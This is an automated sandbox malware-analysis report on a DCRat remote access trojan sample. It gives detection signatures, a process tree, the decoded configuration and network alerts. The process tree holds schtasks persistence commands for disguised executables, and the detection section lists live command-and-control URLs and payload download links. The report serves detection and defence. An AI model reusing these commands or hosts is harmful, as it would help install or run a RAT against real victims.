Edit tour

Windows Analysis Report
AYUGPPBj0x.exe

Overview

General Information

Sample name:	AYUGPPBj0x.exe renamed because original name is a hash value
Original sample name:	EAE6D4D5EAE0CF85FF69EB89946E4185.exe
Analysis ID:	1551560
MD5:	eae6d4d5eae0cf85ff69eb89946e4185
SHA1:	9107578b01297b583bf797575bea0d745d024260
SHA256:	ea10faa651fc412d0ec1b6417d4ab1949f5ace92373d87dd789d8b0556ffb810
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected Powershell download and execute

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Creates processes via WMI

Drops executable to a common third party application directory

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Uses ipconfig to lookup or modify the Windows network settings

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

AYUGPPBj0x.exe (PID: 2108 cmdline: "C:\Users\user\Desktop\AYUGPPBj0x.exe" MD5: EAE6D4D5EAE0CF85FF69EB89946E4185)

Bootstrapper.exe (PID: 2488 cmdline: "C:\Users\user\AppData\Local\Temp\Bootstrapper.exe" MD5: 2A4DCF20B82896BE94EB538260C5FB93)

conhost.exe (PID: 2140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6440 cmdline: "cmd" /c ipconfig /all MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 4812 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

WerFault.exe (PID: 7272 cmdline: C:\Windows\system32\WerFault.exe -u -p 2488 -s 2192 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

kendalcp.exe (PID: 1612 cmdline: "C:\Users\user\AppData\Local\Temp\kendalcp.exe" MD5: 0D015CC111D53A019E680B0BED11FCAD)

wscript.exe (PID: 2080 cmdline: "C:\Windows\System32\WScript.exe" "C:\blocksavesperfMonitorDll\R7uOS4kiQeNNM8oo5bGADNHtfWe.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 6928 cmdline: C:\Windows\system32\cmd.exe /c ""C:\blocksavesperfMonitorDll\SAymW4LctOmWulF1E6221.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reviewDll.exe (PID: 6128 cmdline: "C:\blocksavesperfMonitorDll\reviewDll.exe" MD5: D9DAC9E1D95E84E6AEC084CF2DDB3F3A)

schtasks.exe (PID: 2080 cmdline: schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\common files\VrOvfXIxMKIwGaWOj.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5016 cmdline: schtasks.exe /create /tn "VrOvfXIxMKIwGaWOj" /sc ONLOGON /tr "'C:\Program Files (x86)\common files\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5928 cmdline: schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\common files\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4940 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6020 cmdline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 280 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5856 cmdline: schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 11 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1004 cmdline: schtasks.exe /create /tn "VrOvfXIxMKIwGaWOj" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5308 cmdline: schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 5 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

VrOvfXIxMKIwGaWOj.exe (PID: 5856 cmdline: "C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe" MD5: D9DAC9E1D95E84E6AEC084CF2DDB3F3A)

VrOvfXIxMKIwGaWOj.exe (PID: 7284 cmdline: "C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe" MD5: D9DAC9E1D95E84E6AEC084CF2DDB3F3A)

VrOvfXIxMKIwGaWOj.exe (PID: 7312 cmdline: "C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe" MD5: D9DAC9E1D95E84E6AEC084CF2DDB3F3A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"SCRT": "{\"0\":\"$\",\"o\":\"~\",\"C\":\"|\",\"c\":\"!\",\"l\":\"`\",\"5\":\">\",\"9\":\"&\",\"E\":\"@\",\"p\":\"_\",\"I\":\"-\",\"j\":\".\",\"H\":\"#\",\"W\":\"*\",\"J\":\"(\",\"R\":\"^\",\"Q\":\"%\",\"L\":\";\",\"6\":\"<\",\"x\":\")\",\"r\":\" \",\"Z\":\",\"}", "PCRT": "{\"I\":\"&\",\"x\":\"$\",\"6\":\",\",\"l\":\"^\",\"i\":\">\",\"X\":\"~\",\"Q\":\";\",\"S\":\"%\",\"e\":\"-\",\"M\":\"`\",\"f\":\"@\",\"y\":\"*\",\"D\":\")\",\"c\":\"#\",\"=\":\"|\",\"j\":\"!\",\"w\":\".\",\"p\":\" \",\"0\":\"<\",\"b\":\"(\"}", "TAG": "", "MUTEX": "DCR_MUTEX-cPZKNKWR4aQiXw0pjjUc", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
\Device\ConDrv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001C.00000002.1950301019.0000000002F40000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_3	Yara detected DCRat	Joe Security
0000001D.00000002.1950355148.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000016.00000002.4201114939.0000000002DC4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_3	Yara detected DCRat	Joe Security
00000016.00000002.4201114939.0000000002DF2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_3	Yara detected DCRat	Joe Security
0000001C.00000002.1950301019.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001D.00000002.1950355148.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000000B.00000002.1848465544.0000000002888000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000000B.00000002.1848465544.0000000002711000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000016.00000002.4201114939.0000000002E54000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_3	Yara detected DCRat	Joe Security
00000016.00000002.4201114939.0000000003225000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_3	Yara detected DCRat	Joe Security
00000016.00000002.4201114939.0000000003043000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_3	Yara detected DCRat	Joe Security
00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Bootstrapper.exe PID: 2488	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: reviewDll.exe PID: 6128	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: VrOvfXIxMKIwGaWOj.exe PID: 5856	JoeSecurity_DCRat_3	Yara detected DCRat	Joe Security
Process Memory Space: VrOvfXIxMKIwGaWOj.exe PID: 5856	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: VrOvfXIxMKIwGaWOj.exe PID: 7284	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: VrOvfXIxMKIwGaWOj.exe PID: 7312	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 14 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\blocksavesperfMonitorDll\reviewDll.exe, ProcessId: 6128, TargetFilename: C:\Users\Public\AccountPictures\RuntimeBroker.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /f, CommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\blocksavesperfMonitorDll\reviewDll.exe", ParentImage: C:\blocksavesperfMonitorDll\reviewDll.exe, ParentProcessId: 6128, ParentProcessName: reviewDll.exe, ProcessCommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /f, ProcessId: 4940, ProcessName: schtasks.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\blocksavesperfMonitorDll\R7uOS4kiQeNNM8oo5bGADNHtfWe.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\blocksavesperfMonitorDll\R7uOS4kiQeNNM8oo5bGADNHtfWe.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\kendalcp.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\kendalcp.exe, ParentProcessId: 1612, ParentProcessName: kendalcp.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\blocksavesperfMonitorDll\R7uOS4kiQeNNM8oo5bGADNHtfWe.vbe" , ProcessId: 2080, ProcessName: wscript.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: "cmd" /c ipconfig /all, CommandLine: "cmd" /c ipconfig /all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Bootstrapper.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe, ParentProcessId: 2488, ParentProcessName: Bootstrapper.exe, ProcessCommandLine: "cmd" /c ipconfig /all, ProcessId: 6440, ProcessName: cmd.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /f, CommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\blocksavesperfMonitorDll\reviewDll.exe", ParentImage: C:\blocksavesperfMonitorDll\reviewDll.exe, ParentProcessId: 6128, ParentProcessName: reviewDll.exe, ProcessCommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /f, ProcessId: 4940, ProcessName: schtasks.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T21:12:20.443641+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49735	TCP
2024-11-07T21:12:59.432086+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49756	TCP

ET MALWARE DCRAT Activity (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T21:12:19.985369+0100	2034194	1	A Network Trojan was detected	192.168.2.4	49736	5.101.153.173	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T21:12:14.062950+0100	2803305	3	Unknown Traffic	192.168.2.4	49732	104.21.93.27	443	TCP

ETPRO MALWARE DCRat Initial Checkin Server Response M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T21:12:22.152084+0100	2850862	1	Malware Command and Control Activity Detected	5.101.153.173	80	192.168.2.4	49736	TCP
2024-11-07T21:13:26.578399+0100	2850862	1	Malware Command and Control Activity Detected	5.101.153.173	80	192.168.2.4	49871	TCP
2024-11-07T21:14:38.359815+0100	2850862	1	Malware Command and Control Activity Detected	5.101.153.173	80	192.168.2.4	50037	TCP
2024-11-07T21:15:38.377401+0100	2850862	1	Malware Command and Control Activity Detected	5.101.153.173	80	192.168.2.4	50047	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: AYUGPPBj0x.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://kendalcp.beget.tech/03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWt	Avira URL Cloud: Label: malware
Source: https://b37c8755.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe	Avira URL Cloud: Label: malware
Source: http://kendalcp.beget.tech/03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W	Avira URL Cloud: Label: malware
Source: https://b37c8755.solaraweb-alj.pages.dev/download/static/files/Solara.Dir.zip	Avira URL Cloud: Label: malware
Source: http://kendalcp.beget.tech/03ee7260.php?DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljq	Avira URL Cloud: Label: malware
Source: http://kendalcp.beget.tech	Avira URL Cloud: Label: malware
Source: http://kendalcp.beget.tech/	Avira URL Cloud: Label: malware
Source: http://kendalcp.beget.tech/03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W	Avira URL Cloud: Label: malware
Source: http://kendalcp.beget.tech/03ee7260.php?DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1&4e7502ef07216f4df503d363b4584dad=b37e3e015ca59c90c17488162b3a141d&6d87c9ed05422ad98f508ceb2bec8047=QY4QjY2EjYiFWO3IjM5kDZmVjNiZDZxUWZhRWNiRGMyQGOhhjM2MmZ&DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Avira: detection malicious, Label: TR/AVI.Agent.iqkvn
Source: C:\blocksavesperfMonitorDll\R7uOS4kiQeNNM8oo5bGADNHtfWe.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984

Found malware configuration

Source: 0000000B.00000002.1848465544.0000000002711000.00000004.00000800.00020000.00000000.sdmp

